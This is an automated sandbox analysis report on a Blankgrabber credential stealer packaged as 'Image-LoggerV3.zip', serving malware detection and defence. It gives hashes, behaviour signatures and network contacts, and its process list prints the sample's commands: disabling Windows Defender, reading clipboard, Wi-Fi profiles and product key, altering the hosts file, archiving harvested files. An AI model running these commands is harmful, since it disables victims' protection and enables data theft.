Analysis Overview
SHA256
b0cd9ab51c869d22fda1470ac6ec64283ff99c21077c08f999c8cf0f0cf7ab0a
Threat Level: Known bad
The file Image-LoggerV3.zip was found to be: Known bad.
Malicious Activity Summary
Blankgrabber family
A stealer written in Python and packaged with Pyinstaller
Drops file in Drivers directory
Command and Scripting Interpreter: PowerShell
Executes dropped EXE
Reads user/profile data of web browsers
Clipboard Data
Unsecured Credentials: Credentials In Files
Loads dropped DLL
Accesses cryptocurrency files/wallets, possible credential harvesting
Legitimate hosting services abused for malware hosting/C2
Looks up external IP address via web service
Enumerates processes with tasklist
UPX packed file
Event Triggered Execution: Netsh Helper DLL
Browser Information Discovery
Enumerates physical storage devices
System Network Configuration Discovery: Wi-Fi Discovery
Detects videocard installed
Gathers system information
Suspicious use of WriteProcessMemory
Views/modifies file attributes
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-10-31 13:38
Signatures
A stealer written in Python and packaged with Pyinstaller
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Blankgrabber family
Analysis: behavioral1
Detonation Overview
Submitted
2024-10-31 13:38
Reported
2024-10-31 13:41
Platform
win7-20241023-en
Max time kernel
117s
Max time network
118s
Command Line
Signatures
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Image-LoggerV3\Image Logger.exe | N/A |
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2604 wrote to memory of 2096 | N/A | C:\Users\Admin\AppData\Local\Temp\Image-LoggerV3\Image Logger.exe | C:\Users\Admin\AppData\Local\Temp\Image-LoggerV3\Image Logger.exe |
| PID 2604 wrote to memory of 2096 | N/A | C:\Users\Admin\AppData\Local\Temp\Image-LoggerV3\Image Logger.exe | C:\Users\Admin\AppData\Local\Temp\Image-LoggerV3\Image Logger.exe |
| PID 2604 wrote to memory of 2096 | N/A | C:\Users\Admin\AppData\Local\Temp\Image-LoggerV3\Image Logger.exe | C:\Users\Admin\AppData\Local\Temp\Image-LoggerV3\Image Logger.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\Image-LoggerV3\Image Logger.exe
"C:\Users\Admin\AppData\Local\Temp\Image-LoggerV3\Image Logger.exe"
C:\Users\Admin\AppData\Local\Temp\Image-LoggerV3\Image Logger.exe
"C:\Users\Admin\AppData\Local\Temp\Image-LoggerV3\Image Logger.exe"
Network
Files
C:\Users\Admin\AppData\Local\Temp\_MEI26042\python311.dll
| MD5 | 5f6fd64ec2d7d73ae49c34dd12cedb23 |
| SHA1 | c6e0385a868f3153a6e8879527749db52dce4125 |
| SHA256 | ff9f102264d1944fbfae2ba70e7a71435f51a3e8c677fd970b621c4c9ea71967 |
| SHA512 | c4be2d042c6e4d22e46eacfd550f61b8f55814bfe41d216a4df48382247df70bc63151068513855aa78f9b3d2f10ba6a824312948324c92de6dd0f6af414e8ab |
memory/2096-23-0x000007FEF59E0000-0x000007FEF5FC9000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-10-31 13:38
Reported
2024-10-31 13:41
Platform
win10v2004-20241007-en
Max time kernel
134s
Max time network
152s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in Drivers directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\drivers\etc\hosts | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\Windows\System32\drivers\etc\hosts | C:\Users\Admin\AppData\Local\Temp\Image-LoggerV3\Image Logger.exe | N/A |
| File opened for modification | C:\Windows\System32\drivers\etc\hosts | C:\Windows\system32\attrib.exe | N/A |
Clipboard Data
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\_MEI2162\rar.exe | N/A |
Loads dropped DLL
Reads user/profile data of web browsers
Unsecured Credentials: Credentials In Files
Accesses cryptocurrency files/wallets, possible credential harvesting
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | discord.com | N/A | N/A |
| N/A | discord.com | N/A | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Enumerates processes with tasklist
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Browser Information Discovery
Enumerates physical storage devices
Event Triggered Execution: Netsh Helper DLL
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key queried | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key value enumerated | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
System Network Configuration Discovery: Wi-Fi Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
| N/A | N/A | C:\Windows\system32\netsh.exe | N/A |
Detects videocard installed
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
Gathers system information
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\systeminfo.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\tasklist.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\tasklist.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemProfilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeProfSingleProcessPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRemoteShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeUndockPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeManageVolumePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 33 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 34 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 35 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 36 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemProfilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeProfSingleProcessPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRemoteShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeUndockPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeManageVolumePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 33 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 34 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 35 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 36 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\tasklist.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\tasklist.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemProfilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeProfSingleProcessPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRemoteShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
Suspicious use of WriteProcessMemory
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\Image-LoggerV3\Image Logger.exe
"C:\Users\Admin\AppData\Local\Temp\Image-LoggerV3\Image Logger.exe"
C:\Users\Admin\AppData\Local\Temp\Image-LoggerV3\Image Logger.exe
"C:\Users\Admin\AppData\Local\Temp\Image-LoggerV3\Image Logger.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Image-LoggerV3\Image Logger.exe'"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Image-LoggerV3\Image Logger.exe'
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "systeminfo"
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-Clipboard
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\systeminfo.exe
systeminfo
C:\Windows\system32\netsh.exe
netsh wlan show profile
C:\Windows\system32\reg.exe
REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
C:\Windows\system32\attrib.exe
attrib -r C:\Windows\System32\drivers\etc\hosts
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
C:\Windows\system32\attrib.exe
attrib +r C:\Windows\System32\drivers\etc\hosts
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "getmac"
C:\Windows\system32\getmac.exe
getmac
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI2162\rar.exe a -r -hp"Nesa2011\" "C:\Users\Admin\AppData\Local\Temp\X0R3T.zip" *"
C:\Users\Admin\AppData\Local\Temp\_MEI2162\rar.exe
C:\Users\Admin\AppData\Local\Temp\_MEI2162\rar.exe a -r -hp"Nesa2011\" "C:\Users\Admin\AppData\Local\Temp\X0R3T.zip" *
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic os get Caption"
C:\Windows\System32\Wbem\WMIC.exe
wmic os get Caption
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
C:\Windows\System32\Wbem\WMIC.exe
wmic computersystem get totalphysicalmemory
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 140.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | gstatic.com | udp |
| GB | 216.58.204.67:443 | gstatic.com | tcp |
| US | 8.8.8.8:53 | 67.204.58.216.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 150.171.28.10:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 0.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.28.171.150.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | discord.com | udp |
| US | 162.159.135.232:443 | discord.com | tcp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 232.135.159.162.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 53.210.109.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 92.12.20.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 81.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\_MEI2162\python311.dll
| MD5 | 5f6fd64ec2d7d73ae49c34dd12cedb23 |
| SHA1 | c6e0385a868f3153a6e8879527749db52dce4125 |
| SHA256 | ff9f102264d1944fbfae2ba70e7a71435f51a3e8c677fd970b621c4c9ea71967 |
| SHA512 | c4be2d042c6e4d22e46eacfd550f61b8f55814bfe41d216a4df48382247df70bc63151068513855aa78f9b3d2f10ba6a824312948324c92de6dd0f6af414e8ab |
C:\Users\Admin\AppData\Local\Temp\_MEI2162\VCRUNTIME140.dll
| MD5 | 49c96cecda5c6c660a107d378fdfc3d4 |
| SHA1 | 00149b7a66723e3f0310f139489fe172f818ca8e |
| SHA256 | 69320f278d90efaaeb67e2a1b55e5b0543883125834c812c8d9c39676e0494fc |
| SHA512 | e09e072f3095379b0c921d41d6e64f4f1cd78400594a2317cfb5e5dca03dedb5a8239ed89905c9e967d1acb376b0585a35addf6648422c7ddb472ce38b1ba60d |
memory/732-25-0x00007FFBACA40000-0x00007FFBAD029000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\_MEI2162\base_library.zip
| MD5 | bf6cd99ec3d2a7bc939a8f3d14121641 |
| SHA1 | ca8eafb77077e23fb23a45784ea17b19e93c99bc |
| SHA256 | 01be805110393abf9f1c57084dc026cdbc7135a4081f604579e3bf8f1dd23bd5 |
| SHA512 | e74f6dfbb0d7b56d4201339cca3896bef9af652e1cd031207a683b490433f1de82d0557d5d551db4c656d5f503639d16fb27cda30dff21b1399bd8bd339d3ec8 |
C:\Users\Admin\AppData\Local\Temp\_MEI2162\_ctypes.pyd
| MD5 | 00f75daaa7f8a897f2a330e00fad78ac |
| SHA1 | 44aec43e5f8f1282989b14c4e3bd238c45d6e334 |
| SHA256 | 9ffadcb2c40ae6b67ab611acc09e050bbe544672cf05e8402a7aa3936326de1f |
| SHA512 | f222f0ebf16a5c6d16aa2fba933034e692e26e81fea4d8b008259aff4102fe8acf3807f3b016c24002daa15bb8778d7fef20f4ae1206d5a6e226f7336d4da5d4 |
memory/732-30-0x00007FFBBF510000-0x00007FFBBF533000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\_MEI2162\libssl-3.dll
| MD5 | bf4a722ae2eae985bacc9d2117d90a6f |
| SHA1 | 3e29de32176d695d49c6b227ffd19b54abb521ef |
| SHA256 | 827fdb184fdcde9223d09274be780fe4fe8518c15c8fc217748ad5fd5ea0f147 |
| SHA512 | dd83b95967582152c7b5581121e6b69a07073e7a76fe87975742bb0fd7ecef7494ec940dba914364034cc4e3f623be98cc887677b65c208f14a2a9fc7497ca73 |
C:\Users\Admin\AppData\Local\Temp\_MEI2162\_ssl.pyd
| MD5 | f9cc7385b4617df1ddf030f594f37323 |
| SHA1 | ebceec12e43bee669f586919a928a1fd93e23a97 |
| SHA256 | b093aa2e84a30790abeee82cf32a7c2209978d862451f1e0b0786c4d22833cb6 |
| SHA512 | 3f362c8a7542212d455f1f187e24f63c6190e564ade0f24561e7e20375a1f15eb36bd8dce9fdaafdab1d6b348a1c6f7cddb9016e4f3535b49136550bc23454fb |
C:\Users\Admin\AppData\Local\Temp\_MEI2162\_sqlite3.pyd
| MD5 | 1a8fdc36f7138edcc84ee506c5ec9b92 |
| SHA1 | e5e2da357fe50a0927300e05c26a75267429db28 |
| SHA256 | 8e4b9da9c95915e864c89856e2d7671cd888028578a623e761aeac2feca04882 |
| SHA512 | 462a8f995afc4cf0e041515f0f68600dfd0b0b1402be7945d60e2157ffd4e476cf2ae9cdc8df9595f0fe876994182e3e43773785f79b20c6df08c8a8c47fffa0 |
C:\Users\Admin\AppData\Local\Temp\_MEI2162\_socket.pyd
| MD5 | 1a34253aa7c77f9534561dc66ac5cf49 |
| SHA1 | fcd5e952f8038a16da6c3092183188d997e32fb9 |
| SHA256 | dc03d32f681634e682b02e9a60fdfce420db9f26754aefb9a58654a064dc0f9f |
| SHA512 | ff9eeb4ede4b4dd75c67fab30d0dec462b8af9ca6adc1dcae58f0d169c55a98d85bb610b157f17077b8854ec15af4dfab2f0d47fa9bc463e5b2449979a50293a |
C:\Users\Admin\AppData\Local\Temp\_MEI2162\_queue.pyd
| MD5 | 347d6a8c2d48003301032546c140c145 |
| SHA1 | 1a3eb60ad4f3da882a3fd1e4248662f21bd34193 |
| SHA256 | e71803913b57c49f4ce3416ec15dc8a9e5c14f8675209624e76cd71b0319b192 |
| SHA512 | b1fdb46b80bb4a39513685781d563a7d55377e43e071901930a13c3e852d0042a5302cd238ddf6ea4d35ceee5a613c96996bffad2da3862673a0d27e60ff2c06 |
C:\Users\Admin\AppData\Local\Temp\_MEI2162\_lzma.pyd
| MD5 | 542eab18252d569c8abef7c58d303547 |
| SHA1 | 05eff580466553f4687ae43acba8db3757c08151 |
| SHA256 | d2a7111feeaacac8b3a71727482565c46141cc7a5a3d837d8349166bea5054c9 |
| SHA512 | b7897b82f1aa9d5aa895c3de810dab1aa335fdf7223e4ff29b32340ad350d9be6b145f95a71c7bc7c88c8df77c3f04853ae4d6f0d5a289721fc1468ecba3f958 |
C:\Users\Admin\AppData\Local\Temp\_MEI2162\_hashlib.pyd
| MD5 | b227bf5d9fec25e2b36d416ccd943ca3 |
| SHA1 | 4fae06f24a1b61e6594747ec934cbf06e7ec3773 |
| SHA256 | d42c3550e58b9aa34d58f709dc65dc4ee6eea83b651740822e10b0aa051df1d7 |
| SHA512 | c6d7c5a966c229c4c7042ef60015e3333dab86f83c230c97b8b1042231fdb2a581285a5a08c33ad0864c6bd82f5a3298964ab317736af8a43e7caa7669298c3e |
C:\Users\Admin\AppData\Local\Temp\_MEI2162\_decimal.pyd
| MD5 | e3fb8bf23d857b1eb860923ccc47baa5 |
| SHA1 | 46e9d5f746c047e1b2fefaaf8d3ec0f2c56c42f0 |
| SHA256 | 7da13df1f416d3ffd32843c895948e460af4dc02cf05c521909555061ed108e3 |
| SHA512 | 7b0a1fc00c14575b8f415fadc2078bebd157830887dc5b0c4414c8edfaf9fc4a65f58e5cceced11252ade4e627bf17979db397f4f0def9a908efb2eb68cd645c |
C:\Users\Admin\AppData\Local\Temp\_MEI2162\_bz2.pyd
| MD5 | c413931b63def8c71374d7826fbf3ab4 |
